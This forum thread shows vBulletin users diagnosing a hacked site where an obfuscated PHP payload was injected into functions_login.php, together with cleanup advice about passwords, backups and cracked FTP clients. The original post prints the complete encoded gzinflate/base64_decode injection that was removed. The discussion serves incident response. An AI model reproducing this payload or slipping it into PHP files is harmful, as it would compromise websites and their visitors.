[Forum] Unable to add cookies, header already sent. FIXED HERE

[Uber_Tiny]

I have been getting this annoying error now for a few days and it was causing an issue with logging in to the site. I updated my sites files (it needed updating anyhow) and it fixed the issue for a few days and then I got this issue again. So I reverted the files and DB back to a known working backup and resolved the issue, just to have this happen again a day later. More investigation in to the issue shows that this is an apparent shell script hack.

This is the error I get.

Unable to add cookies, header already sent.File: **/news/includes/functions_login.php
Line: 525

When I googled the first part of the code "echo(gzinflate(base64_decode(" I got results back stating that this is an attack attempt.

To resolve this I opened the file and removed the following on the line described in the error:

#c3284d#
echo(gzinflate(base64_decode("ZVNdb5tAEPwtPakSlLV9X8BRQvtg9Rf00fIDARxQHMBAa0VW/nvnlrip1Ad02t3Z2ZnV8jBXUzcu35bp9XYp6qH69dL0y7aamnJpfpwbHwViFGF+2Zbj2PT1vu3OdXCJBHJvVblUbXC5hre22Eild3HumR6ruS7GaViG5XVsNvoOfCyvT+FtnovDMT8VQRt+D8RpGl72bTntRSSGuhHhVyHyprh2fT1cD6JB+nd5Fse8Lw7KkJZkpCRrLWUZaWPJ6JSstKSURKxJGUc2TRBb0sgZ67huJaWOlEMzSJTUpLUjnSmyBmipKAGZjcnGiedWWjPKKs+VMLcx62tTygA2d64UulCVhqyDMEcZ2LOUZSqZMdgzYwKyzIRQOa8aSOmYWeFDSYOWm2M/WMGET9t1lDcpkXeG4cxmV4/Wv2wCADaBonIsy0AQc2m37o8XZj9MWsn1BNIxzWFREMXrg3xfTbjIuv5ZNlvGqPfBMMNVGbNKjpFfe1UsPyxChsJCpFx3K91fS0B5sEMWY236ruI/SxqeTUYOBtKUYu/jmHenYL2c7f2Ww9MwBV2RbPRG+S/fKBtH3adC4y67KApvz0WX4ybnOfq5TF3/dDgdg/7wfNwF3eeg/dKGEdpCXHsTCPCrUETzjPDtYff+9/wB")));
#/c3284d#

I hope this helps others resolve their issue and I hope vBulletin can use this information.

[Thunderbird]

It looks like your file got injected with something, as the functions_login.php file I have is only 524 lines long, and that string cannot be found in it.

You might want to check to see if any other files have been compromised in a similar manner with the Maintenance > Diagnostics > Suspect File Versions test.

[Lynne]

You should also contact your host and let them know you were hacked and see if they can help you figure out how. And, change your server passwords.

[Kaptan]

Hi,

This is a virus that rewriting several php+html+js files and also htaccess files, so some of the files are giving error.
You may see in the error reporting file starting and ending with "#cxxxxx" or something like that.
It takes place usually end of the php/js file, head of htaccess file, and css part of html files.
This virus is coming from cracked FTP File Transfer Programs (example: flashfxp)

Important: PROBABLY IT'S NOT ONLY CHANGED FILE functions_login.php , CHECK ALL FOLDERS AND FILES, (index.phps + login.php and more)


WHAT TO DO?
- First delete the suspect file transfer program from your computer.
- Change all passwords of your panel, ftp etc. (Because your password is stolen)
- Use original, non-cracked FTP clients (FileZilla is recommended)
- Re-upload and overwrite all non-infected files from an old backup or vbulletin original files.
- New install (deleting all files from host) or Restoring old non-infected backup is Recommended
- Run vBulletin AdminCP > Test > Test All files so you can see the files that not belong to vbulletin.